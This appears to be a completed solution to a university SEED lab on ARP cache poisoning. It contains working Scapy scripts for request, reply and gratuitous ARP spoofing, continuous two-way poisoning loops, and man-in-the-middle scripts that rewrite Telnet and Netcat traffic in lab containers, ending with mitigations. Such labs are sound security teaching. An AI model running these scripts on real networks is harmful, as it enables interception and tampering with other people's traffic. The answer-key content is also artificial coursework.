SEED Lab: ARP Cache Poisoning Attack
Module 10 Lab Assignment
Complete Solution with Code and Screenshots
Course: Network Security
Lab: ARP Cache Poisoning (60 pts)
University: SEU ([Link])
Lab Overview
The Address Resolution Protocol (ARP) is a communication protocol used for discovering the
link-layer address (MAC address) given an IP address. ARP does not implement any security
measures, making it vulnerable to cache poisoning attacks.
In this lab, we use three machines (containers) in the same LAN:
Host Role IP Address MAC Address
Host A Victim 1 [Link] 02:42:0a:09:00:05
Host B Victim 2 [Link] 02:42:0a:09:00:06
Host M Attacker (Man-in- [Link] 02:42:0a:09:00:69
Middle)
Important: Update the IP/MAC addresses in all scripts to match YOUR actual lab
environment before running!
Task 1: ARP Cache Poisoning (3 Methods)
In this task, we poison Host A's ARP cache so that B's IP address is mapped to M's MAC
address. We demonstrate three different methods.
Task 1A: Using ARP Request
Goal: Send a spoofed ARP request from M to A, claiming to be B. When A receives the request,
it updates its ARP cache with the attacker's MAC.
Python Script ([Link])
Code — [Link]
#!/usr/bin/env python3
from [Link] import *
# Host IP and MAC addresses (update to match YOUR lab environment)
A_IP = "[Link]" # Victim A's IP
A_MAC = "02:42:0a:09:00:05" # Victim A's MAC
B_IP = "[Link]" # Victim B's IP
M_MAC = "02:42:0a:09:00:69" # Attacker M's MAC
# Craft spoofed ARP Request: "Who has B_IP? Tell A"
E = Ether(src=M_MAC, dst=A_MAC)
A = ARP(op=1, pdst=A_IP, psrc=B_IP, hwsrc=M_MAC)
pkt = E / A
sendp(pkt, verbose=True)
Execution Steps
• Open a terminal on Host M (attacker).
• Save the script as [Link] and run: sudo python3 [Link]
• On Host A, check the ARP cache: arp -n
• Verify that B's IP ([Link]) now shows M's MAC address.
Expected Output on Host A after Attack
Expected ARP table on Host A (arp -n)
Address HWtype HWaddress Flags
[Link] ether 02:42:0a:09:00:69 C <-- M's MAC (POISONED)
[Link] ether 02:42:0a:09:00:01 C
📸 SCREENSHOT: Task 1A: ARP table on Host A showing M's MAC mapped to B's IP
(run: arp -n)
(Paste your screenshot here)
📸 SCREENSHOT: Task 1A: Script running on Host M terminal (sudo python3
[Link])
(Paste your screenshot here)
Task 1B: Using ARP Reply
Goal: Send a spoofed ARP reply (op=2) directly to A, claiming B's IP is at M's MAC. This works
even without a prior ARP request from A.
Scenario 1 — Without clearing ARP cache
Run the script below. Even if A already has B's correct MAC, the spoofed reply will overwrite it.
Python Script ([Link])
Code — [Link]
#!/usr/bin/env python3
from [Link] import *
A_IP = "[Link]"
A_MAC = "02:42:0a:09:00:05"
B_IP = "[Link]"
M_MAC = "02:42:0a:09:00:69"
# Craft spoofed ARP Reply: "B_IP is at M_MAC"
E = Ether(src=M_MAC, dst=A_MAC)
A = ARP(op=2, pdst=A_IP, psrc=B_IP, hwsrc=M_MAC, hwdst=A_MAC)
pkt = E / A
sendp(pkt, verbose=True)
Scenario 2 — After clearing ARP cache
First delete B's entry from A's cache, then send the spoofed reply:
Commands on Host A
# Delete B's entry from A's ARP cache:
sudo arp -d [Link]
# Then verify cache is empty for B:
arp -n
Execution Steps
• Run the script on Host M: sudo python3 [Link]
• Check ARP cache on Host A: arp -n
• Verify B's IP maps to M's MAC address.
📸 SCREENSHOT: Task 1B: ARP cache on Host A BEFORE clearing (B's correct MAC
shown)
(Paste your screenshot here)
📸 SCREENSHOT: Task 1B: ARP cache on Host A AFTER attack (M's MAC maps to B's
IP)
(Paste your screenshot here)
Task 1C: Using ARP Gratuitous Message
A gratuitous ARP is a special broadcast ARP request where both the sender and target IP are
the same. Hosts receiving this update their ARP cache automatically — no reply is needed.
Python Script ([Link])
Code — [Link]
#!/usr/bin/env python3
from [Link] import *
B_IP = "[Link]"
M_MAC = "02:42:0a:09:00:69"
# Gratuitous ARP: broadcast claiming B_IP is at M_MAC
E = Ether(src=M_MAC, dst="ff:ff:ff:ff:ff:ff")
A = ARP(op=1, pdst=B_IP, psrc=B_IP, hwsrc=M_MAC, hwdst="ff:ff:ff:ff:ff:ff")
pkt = E / A
sendp(pkt, verbose=True)
Execution Steps
• Ensure A and B have each other's correct MACs (ping between them first).
• Run on Host M: sudo python3 [Link]
• Immediately check ARP cache on Host A: arp -n
• Verify B's IP now points to M's MAC (broadcast poisoned all hosts).
📸 SCREENSHOT: Task 1C: ARP cache on Host A BEFORE gratuitous ARP (correct
MACs)
(Paste your screenshot here)
📸 SCREENSHOT: Task 1C: ARP cache on Host A AFTER gratuitous ARP (M's MAC for
B's IP)
(Paste your screenshot here)
Task 2: MITM Attack on Telnet using ARP Poisoning
This task intercepts Telnet traffic between Host A (client) and Host B (server). The attacker (M)
poisons both caches, then replaces every typed character with 'Z'.
Step 1: ARP Poison Both Hosts (run two scripts simultaneously)
Script A — Poison Host A (poison_a.py)
Code — poison_a.py
#!/usr/bin/env python3
from [Link] import *
import time
# Continuously poison Host A: tell A that B's IP is at M's MAC
A_IP = "[Link]"
A_MAC = "02:42:0a:09:00:05"
B_IP = "[Link]"
M_MAC = "02:42:0a:09:00:69"
E = Ether(src=M_MAC, dst=A_MAC)
A = ARP(op=2, pdst=A_IP, psrc=B_IP, hwsrc=M_MAC)
pkt = E / A
try:
while True:
sendp(pkt, verbose=False)
print("[*] ARP poison sent to Host A")
[Link](5)
except KeyboardInterrupt:
print("\n[!] Stopped.")
Script B — Poison Host B (poison_b.py)
Code — poison_b.py
#!/usr/bin/env python3
from [Link] import *
import time
# Continuously poison Host B: tell B that A's IP is at M's MAC
A_IP = "[Link]"
B_IP = "[Link]"
B_MAC = "02:42:0a:09:00:06"
M_MAC = "02:42:0a:09:00:69"
E = Ether(src=M_MAC, dst=B_MAC)
A = ARP(op=2, pdst=B_IP, psrc=A_IP, hwsrc=M_MAC)
pkt = E / A
try:
while True:
sendp(pkt, verbose=False)
print("[*] ARP poison sent to Host B")
[Link](5)
except KeyboardInterrupt:
print("\n[!] Stopped.")
Open two terminals on Host M and run both scripts simultaneously. They will send ARP replies
every 5 seconds to keep the caches poisoned.
📸 SCREENSHOT: Task 2 Step 1: Two terminals on Host M running poison_a.py and
poison_b.py simultaneously
(Paste your screenshot here)
📸 SCREENSHOT: Task 2 Step 1: Host A ARP cache (verify M's MAC for B's IP): arp -n
(Paste your screenshot here)
📸 SCREENSHOT: Task 2 Step 1: Host B ARP cache (verify M's MAC for A's IP): arp -n
(Paste your screenshot here)
Step 2: Test — Turn Off IP Forwarding
Turn off IP forwarding on Host M so that packets are NOT forwarded:
Command on Host M
sudo sysctl net.ipv4.ip_forward=0
Now try to ping Host B from Host A. The ping should FAIL because M is blocking all traffic:
Command on Host A
ping [Link] # This should fail / no reply
📸 SCREENSHOT: Task 2 Step 2: Failed ping from A to B (M is blocking traffic,
ip_forward=0)
(Paste your screenshot here)
Step 3: Turn On IP Forwarding
Enable forwarding so M transparently passes packets:
Command on Host M
sudo sysctl net.ipv4.ip_forward=1
Now ping again. The ping should SUCCEED — A and B are communicating through M without
knowing it.
📸 SCREENSHOT: Task 2 Step 3: Successful ping from A to B while ip_forward=1
(traffic passing through M)
(Paste your screenshot here)
Step 4: Launch the MITM Attack (Replace characters with Z)
Python Script (mitm_telnet.py)
Code — mitm_telnet.py
#!/usr/bin/env python3
from [Link] import *
IP_A = "[Link]"
MAC_A = "02:42:0a:09:00:05"
IP_B = "[Link]"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
if [Link](IP) and [Link](TCP):
if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
newpkt = IP(bytes(pkt[IP]))
del([Link])
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
if pkt[TCP].payload:
data = pkt[TCP].[Link]
newdata = b'Z' * len(data) # Replace all chars with Z
send(newpkt / newdata, verbose=False)
else:
send(newpkt, verbose=False)
elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
newpkt = IP(bytes(pkt[IP]))
del([Link])
del(newpkt[TCP].chksum)
send(newpkt, verbose=False) # Forward B->A unchanged
f = 'tcp and not host [Link]'
print("[*] Launching MITM on Telnet...")
sniff(iface='eth0', filter=f, prn=spoof_pkt)
How to Run the Attack
• On Host M: Keep both poison scripts running (Step 1)
• Turn OFF IP forwarding: sudo sysctl net.ipv4.ip_forward=0
• Establish Telnet from A to B FIRST (while ip_forward was ON):
• On Host B: (Telnet server is already running)
• On Host A: telnet [Link] (login: seed / password: dees)
• Run the MITM script on Host M: sudo python3 mitm_telnet.py
• Type anything on Host A's Telnet window — all characters will appear as 'Z' on Host B.
📸 SCREENSHOT: Task 2 Step 4: Terminal layout — Host A Telnet window (left), Host
B receiving Z's (right), Host M running MITM script (bottom)
(Paste your screenshot here)
📸 SCREENSHOT: Task 2 Step 4: Host A typing normal text in Telnet session
(Paste your screenshot here)
📸 SCREENSHOT: Task 2 Step 4: Host B receiving 'ZZZZ' instead of actual typed
characters
(Paste your screenshot here)
Task 3: MITM Attack on Netcat using ARP Poisoning
This task is similar to Task 2 but uses Netcat (nc) instead of Telnet. The attacker intercepts
messages from A to B and replaces any occurrence of a specified first name with a replacement
string.
Setup: Establish Netcat Connection
Commands
# On Host B (server) — start listening:
nc -lp 9090
# On Host A (client) — connect to B:
nc [Link] 9090
Script: MITM for Netcat (mitm_netcat.py)
This script replaces your first name with 'A' characters of the same length. Update
FIRST_NAME to your actual first name:
Code — mitm_netcat.py
#!/usr/bin/env python3
from [Link] import *
IP_A = "[Link]"
MAC_A = "02:42:0a:09:00:05"
IP_B = "[Link]"
MAC_B = "02:42:0a:09:00:06"
FIRST_NAME = "YourName" # <-- Replace with YOUR name
REPLACEMENT = "A" * len(FIRST_NAME) # Same-length replacement
def spoof_pkt(pkt):
if [Link](IP) and [Link](TCP) and [Link](Raw):
if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
newpkt = IP(bytes(pkt[IP]))
del([Link])
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
data = pkt[TCP].[Link]('utf-8', errors='ignore')
modified = [Link](FIRST_NAME, REPLACEMENT)
send(newpkt / [Link](), verbose=False)
elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
newpkt = IP(bytes(pkt[IP]))
del([Link])
del(newpkt[TCP].chksum)
send(newpkt, verbose=False)
f = f'tcp and (host {IP_A} or host {IP_B})'
print("[*] Launching MITM on Netcat...")
sniff(iface='eth0', filter=f, prn=spoof_pkt)
Steps to Execute
• Keep both ARP poison scripts running on Host M (poison_a.py and poison_b.py).
• Turn OFF IP forwarding: sudo sysctl net.ipv4.ip_forward=0
• Start Netcat on Host B: nc -lp 9090
• Connect from Host A: nc [Link] 9090
• Run MITM script on Host M: sudo python3 mitm_netcat.py
• Type your first name in Host A's terminal and press Enter.
• Observe that Host B receives 'AAAA...' instead of your name.
📸 SCREENSHOT: Task 3: Host B listening with 'nc -lp 9090' and Host A connected
with 'nc [Link] 9090'
(Paste your screenshot here)
📸 SCREENSHOT: Task 3: Host A sending message containing first name (e.g., 'Hello,
YourName!')
(Paste your screenshot here)
📸 SCREENSHOT: Task 3: Host B receiving modified message (name replaced with
AAAA)
(Paste your screenshot here)
📸 SCREENSHOT: Task 3: Host M running mitm_netcat.py showing interception logs
(Paste your screenshot here)
Lab Summary and Conclusions
Task Technique Used Result
Task 1A ARP Request Spoofing A's cache poisoned — B's IP maps to
M's MAC
Task 1B ARP Reply Spoofing Works with or without prior cache
entry
Task 1C Gratuitous ARP Broadcast All hosts on LAN receive poisoned
mapping
Task 2 (Steps 1-3) Bidirectional ARP Poisoning MITM position established; traffic
intercept confirmed
Task 2 (Step 4) Telnet MITM — Replace with Z All keystrokes replaced with 'Z' on
Host B
Task 3 Netcat MITM — Name Censor First name replaced with 'AAAA...' on
Host B
Key Findings
• ARP has no authentication — any host can claim any IP-to-MAC mapping.
• ARP request (op=1) and ARP reply (op=2) both can poison caches successfully.
• Gratuitous ARP poisons ALL hosts simultaneously with a single broadcast packet.
• MITM attacks via ARP poisoning allow real-time traffic interception and modification.
• IP forwarding on the attacker enables transparent traffic relay, making the attack
invisible to victims.
• Mitigation: Use Dynamic ARP Inspection (DAI), static ARP entries, or encrypted
protocols (SSH instead of Telnet).
References: SEED Labs — ARP Cache Poisoning Attack Lab | [Link]